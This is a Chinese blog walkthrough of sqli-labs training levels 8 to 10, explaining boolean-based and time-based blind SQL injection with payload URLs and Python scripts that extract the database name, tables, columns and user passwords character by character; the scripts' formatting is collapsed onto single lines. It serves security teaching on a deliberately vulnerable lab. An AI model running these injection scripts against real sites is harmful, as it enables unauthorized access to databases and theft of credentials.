sqli-labs 靶场 less-8、9、10 第八关到第十关详解:布尔注入,时间注入

2024-06-10 06:04

本文主要是介绍sqli-labs 靶场 less-8、9、10 第八关到第十关详解:布尔注入,时间注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 8

SQLI DUMB SERIES-8

判断注入点

当输入id为1时正常显示:
id=1
加上单引号就报错了
welcome
那就将后面的代码注释就恢复正常显示:

http://sqli-labs.com/Less-8/
?id=1'--+

--+
并通过order语句得到表单字段为3个:
Order

实施注入

布尔(Boolean)盲SQL注入技术是一种SQL注入攻击的形式,它利用了数据库在处理布尔逻辑时的漏洞。
在这种攻击中,攻击者通过构造特定的SQL语句,尝试修改应用程序的查询语句,以便程序在响应时反映出某些操作结果(如真或假),从而确定某些特定答案或确认应用程序中的漏洞。
布尔盲注的原理是通过构造恰当的SQL语句,使得应用程序的响应结果有所不同。

通过以上信息来看可以确定,这一关可以用布尔盲注的方式来进行解题。我们先尝试用语句来判断是否获取正常。
通过下列结果可以看出来database()的第一个字符并不是a,我们需要继续尝试所有英文字母。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='a' --+

You are in.... Use outfile...

直到我们尝试用s测试出来它才是目标,并提示“***You are in…”。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='s' --+

You are in.... Use outfile

如果在MYSQL中的话则过程则为:

SELECT * FROM users WHERE id=(('1')) and substr(database(),1,1)='s' ;

username
故我们使用python代码来模拟这个过程并获取到完整目录文件,代码如下 :

import requestsALPHABET=",abcdefghijklmnopqrstuvwxyz"
A_LEN=len(ALPHABET) 
URL="http://sqli-labs.com/Less-8/?id=1' and substr(({sql}),{position},1)='{char}'--+"#布尔注入并返回判断
def boolInject(path):response=requests.get(path)if response.status_code==200:if "You are in" in response.text:return Trueelse:return Falseelse:return False#获取数据
def extract_data(sql):s=""position=0while True:position+=1#先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)res=boolInject(URL.format(sql=sql,position=position,char=""))if res==True:break#不为空则尝试一个个判断字母是否符合char=" "for i in range(A_LEN):res=boolInject(URL.format(sql=sql,position=position,char=ALPHABET[i]))#如果找到相同的字符串则填入charif res==True:char=ALPHABET[i]breaks+=charreturn s

接着我们在相同文件编写获取数据库的命令:

print(extract_data("database()"))

ID参数实际为1')) and substr(database(),%i,1)='%s'--+
最后执行该文件:

> python bool.py

python
接着获取其它参数:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#query="1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%i,1)='%s'--+"
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#query="1')) and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%i,1)='%s'--+"
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))
#query="1')) and substr((select group_concat(password) from users),%i,1)='%s'--+"

结果如下:
password
但是你会发现,在获取用户密码的时候会有很多空字符,这里是什么原因呢?

这是由于没有匹配对应的字符造成的,如果想要解决这个问题,那么你就要在`ALPHABET`参数上加上更多的字符以适应更多的情况。

Less 9

SQLI DUMB SERIES-9

series

判断注入点

输入ID,正常显示
id
但输入其它字符也都显示一样的内容。
you are in
在这里我们无法看到错误信息,也不知道信息能否正常获取到。
此时则尝试使用时间注入的方式来进行,当输入下列参数时可以看到页面需要等待五秒才返回数据,则代表SQL语句运行成功,且可以利用此漏洞:

http://sqli-labs.com/Less-9/
?id=1' and sleep(5) --+

you are

实施注入

SQL时间注入是一种安全漏洞,通过修改SQL查询中的时间参数,攻击者可以获取未授权的数据或执行未授权的操作。
1. 基于时间延迟:在SQL语句中注入时间相关的代码,如MySQL中的sleep()函数。例如,sleep(5)会使数据库延时5秒返回内容。攻击者可以根据页面的响应时间来判断是否存在SQL时间注入。
2. 判断方法:通过在注入点输入类似'and sleep(5)的语句,如果页面响应时间至少为5秒,则说明存在SQL时间注入。
3. 获取敏感信息:通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,如用户名、密码等。

接下来的工作就是之前使用的布尔注入流程一样,通过一个个字的判断来确定是否为想要的字符。
如我们获取数据名称是否为s,并通过睡眠5秒来判断:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='a' and sleep(5)--+

执行后页面立即返回了数据,代表数据库名的第一个字符并不是a,直接判断s才能成功:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='s' and sleep(5)--+

我们把这个过程通过python代码来完成自动化注入与判断,完整代码如下:

import requests
import timeALPHABET=",abcdefghijklmnopqrstuvwxyz"#验证字符集
A_LEN=len(ALPHABET) 
SLEEP_TIME=1#等待时间(为了缩短代码运行时间,我们这里将睡眠时间设置为一秒钟)
URL="http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"#布尔注入并返回判断
def inject(path):start=time.time()response=requests.get(path)end=time.time()#如果数据获取时间大于睡眠时间代表代码运行成功if response.status_code==200 and end-start>SLEEP_TIME:return Trueelse:return False#获取数据
def extract_data(sql):s=""position=0while True:position+=1#先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)res=inject(URL.format(sql=sql,position=position,char="",time=SLEEP_TIME))if res==True:break#不为空则尝试一个个判断字母是否符合char=" "for i in range(A_LEN):res=inject(URL.format(sql=sql,position=position,char=ALPHABET[i],time=SLEEP_TIME))#如果找到相同的字符串则填入charif res==True:char=ALPHABET[i]breaks+=charreturn s
#获取数据库
print(extract_data("database()"))
#query="1' and substr(database(),%i,1)='%s' and sleep(%i)--+"

执行代码即获取成功:
python timeInject
那么后面的代码也是一样的道理:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))

执行结果,成功完成注入(有一说一,代码请求量一多这脚本运行时间真的长!):
timeInject

Less 10

SQLI DUMB SERIES-10

series

判断注入点

输入注入代码,通过测试可知是使用双引号来进行闭合的查询语句。

http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1" and sleep(5) --+

sqli dum
如此便可以采用和上面类似的盲注入代码来进行。仅需要改其它的常量URL修改一下:

URL="http://sqli-labs.com/Less-10/?id=1\" and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

SLEEP

系列文章

  • sqli-labs 靶场闯关基础准备
  • sqli-labs 靶场 less-1、2、3、4第一关至第四关
  • sqli-labs 靶场 less-5、6 第五关和第六关
  • sqli-labs 靶场 less-7

这篇关于sqli-labs 靶场 less-8、9、10 第八关到第十关详解:布尔注入,时间注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1047380

相关文章

问题:第一次世界大战的起止时间是 #其他#学习方法#微信

问题:第一次世界大战的起止时间是 A.1913 ~1918 年 B.1913 ~1918 年 C.1914 ~1918 年 D.1914 ~1919 年 参考答案如图所示

十四、观察者模式与访问者模式详解

21.观察者模式 21.1.课程目标 1、 掌握观察者模式和访问者模式的应用场景。 2、 掌握观察者模式在具体业务场景中的应用。 3、 了解访问者模式的双分派。 4、 观察者模式和访问者模式的优、缺点。 21.2.内容定位 1、 有 Swing开发经验的人群更容易理解观察者模式。 2、 访问者模式被称为最复杂的设计模式。 21.3.观察者模式 观 察 者 模 式 ( Obser

【操作系统】信号Signal超详解|捕捉函数

🔥博客主页: 我要成为C++领域大神🎥系列专栏:【C++核心编程】 【计算机网络】 【Linux编程】 【操作系统】 ❤️感谢大家点赞👍收藏⭐评论✍️ 本博客致力于知识分享,与更多的人进行学习交流 ​ 如何触发信号 信号是Linux下的经典技术,一般操作系统利用信号杀死违规进程,典型进程干预手段,信号除了杀死进程外也可以挂起进程 kill -l 查看系统支持的信号

时序预测 | MATLAB实现LSTM时间序列未来多步预测-递归预测

时序预测 | MATLAB实现LSTM时间序列未来多步预测-递归预测 目录 时序预测 | MATLAB实现LSTM时间序列未来多步预测-递归预测基本介绍程序设计参考资料 基本介绍 MATLAB实现LSTM时间序列未来多步预测-递归预测。LSTM是一种含有LSTM区块(blocks)或其他的一种类神经网络,文献或其他资料中LSTM区块可能被描述成智能网络单元,因为

java中查看函数运行时间和cpu运行时间

android开发调查性能问题中有一个现象,函数的运行时间远低于cpu执行时间,因为函数运行期间线程可能包含等待操作。native层可以查看实际的cpu执行时间和函数执行时间。在java中如何实现? 借助AI得到了答案 import java.lang.management.ManagementFactory;import java.lang.management.Threa

Jitter Injection详解

一、定义与作用 Jitter Injection,即抖动注入,是一种在通信系统中人为地添加抖动的技术。该技术通过在发送端对数据包进行延迟和抖动调整,以实现对整个通信系统的时延和抖动的控制。其主要作用包括: 改善传输质量:通过调整数据包的时延和抖动,可以有效地降低误码率,提高数据传输的可靠性。均衡网络负载:通过对不同的数据流进行不同程度的抖动注入,可以实现网络资源的合理分配,提高整体传输效率。增

时间服务器中,适用于国内的 NTP 服务器地址,可用于时间同步或 Android 加速 GPS 定位

NTP 是什么?   NTP 是网络时间协议(Network Time Protocol),它用来同步网络设备【如计算机、手机】的时间的协议。 NTP 实现什么目的?   目的很简单,就是为了提供准确时间。因为我们的手表、设备等,经常会时间跑着跑着就有误差,或快或慢的少几秒,时间长了甚至误差过分钟。 NTP 服务器列表 最常见、熟知的就是 www.pool.ntp.org/zo

Steam邮件推送内容有哪些?配置教程详解!

Steam邮件推送功能是否安全?如何个性化邮件推送内容? Steam作为全球最大的数字游戏分发平台之一,不仅提供了海量的游戏资源,还通过邮件推送为用户提供最新的游戏信息、促销活动和个性化推荐。AokSend将详细介绍Steam邮件推送的主要内容。 Steam邮件推送:促销优惠 每当平台举办大型促销活动,如夏季促销、冬季促销、黑色星期五等,用户都会收到邮件通知。这些邮件详细列出了打折游戏、

探索Elastic Search:强大的开源搜索引擎,详解及使用

🎬 鸽芷咕:个人主页  🔥 个人专栏: 《C++干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 引入 全文搜索属于最常见的需求,开源的 Elasticsearch (以下简称 Elastic)是目前全文搜索引擎的首选,相信大家多多少少的都听说过它。它可以快速地储存、搜索和分析海量数据。就连维基百科、Stack Overflow、

20170723 做的事 ecdsa的签名验证时间短于bls signature

1 今天在虚拟机 /home/smile/Desktop/20170610/Test//time_ecdsa 文件夹下,找到ecdsa的验证时间是 989.060606μs μs 先 make ,然后run。 再取BLS的签名生成时间: ./run  2  gnuplot 画图,画对比的时间 gnuplot 画图参考教程 http://blog.sciencen